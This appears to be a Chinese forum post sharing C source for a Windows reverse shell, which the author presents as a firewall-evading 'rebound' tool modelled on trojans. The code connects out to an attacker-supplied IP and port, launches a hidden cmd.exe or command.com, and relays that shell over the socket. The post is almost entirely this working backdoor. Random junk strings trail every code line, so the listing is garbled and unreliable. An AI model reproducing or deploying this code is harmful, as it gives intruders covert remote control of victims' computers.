这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5}By2Tx
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/* ============================== BY 1~\M
Rebound port in Windows NT S#""((U$
By wind,2006/7 CsE|pXVG
===============================*/ HPgMVp'
#include WUxr@0
#include -7yX>Hjl
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#pragma comment(lib,"wsock32.lib") tG{Vn +~/
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void OutputShell(); 1.>`h:
SOCKET sClient; P]y5E9 k
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V*/))n?
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void main(int argc,char **argv) ?r@ZTuq#
{ mhs%b4'>
WSADATA stWsaData; T^Z#x-Q
int nRet; !KF;Z|_(I
SOCKADDR_IN stSaiClient,stSaiServer; |e\:0O?
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if(argc != 3) F4PD3E_#
{ z=u4&x|xA
printf("Useage:\n\rRebound DestIP DestPort\n"); M0]fh5O
return; 11)~!in
} ht =yzJ9Pr
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WSAStartup(MAKEWORD(2,2),&stWsaData); J^?O]|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c1z5t]d
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stSaiClient.sin_family = AF_INET; /
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stSaiClient.sin_port = htons(0); gF:wdcO
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A^m hPBT_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J5\> 8I,a
{ GC{Ys|s
printf("Bind Socket Failed!\n"); Isi,Tl ^
return; Z-~^)l o
} : Z.mM5
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stSaiServer.sin_family = AF_INET; |g9^]bT
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]:f1r8<3p
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z@*Z@]FC
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SnXLjJe
{ :_^YEm+A
printf("Connect Error!"); 9V;m;sz
return; ,iHt*SZ,*
} >B9rr0d0
OutputShell(); XrvrN^'
} LD5'4,%-
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void OutputShell() Zdak))7
{ d#W[<,
char szBuff[1024]; !P;qc
SECURITY_ATTRIBUTES stSecurityAttributes; 6z(_^CY
OSVERSIONINFO stOsversionInfo; 5-g0 2g
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `ybZE+S.
STARTUPINFO stStartupInfo; iUO5hdOM
char *szShell; l%)XPb2$J
PROCESS_INFORMATION stProcessInformation; cbIW>IbM
unsigned long lBytesRead; E>[~"~x"pV
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5|/vc*m_0'
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nQgn^z#
stSecurityAttributes.lpSecurityDescriptor = 0; D +oo5
stSecurityAttributes.bInheritHandle = TRUE; EuAa
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XYn$yR\dj
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gf!j|O ;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E^qKkl
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z4<h)hh"k6
stStartupInfo.wShowWindow = SW_HIDE; A76=^iw
stStartupInfo.hStdInput = hReadPipe; R:fu n,
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )Qo6bei!
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GetVersionEx(&stOsversionInfo); (kSkbwu
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switch(stOsversionInfo.dwPlatformId) 9fV 57
{ N0XGW_f
case 1: XR+2|o
szShell = "command.com"; 9*x9sfCv9
break; &Y,Rm78
default: +yTL
szShell = "cmd.exe"; 1-,l|K
break; )Y:CV,`
} z6Hl+nq B
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <k)rfv7
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send(sClient,szMsg,77,0); ]l\J"*"aB
while(1) 4]g^aaQFd>
{ vz _U
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uo%zfi?
if(lBytesRead) Sz._XY^
{ 6tJM*{$$H
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |_A35"v
send(sClient,szBuff,lBytesRead,0); 1wq6E
} -}>Q0d )
else Z2ZS5a
{ O[m+5+
lBytesRead=recv(sClient,szBuff,1024,0); +Y\#'KrA
if(lBytesRead<=0) break; l>:?U
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "kL5HD]TC
} +Gjy%JFp
} eC3ZK"oJ
}b{N[
return; 1\3n
}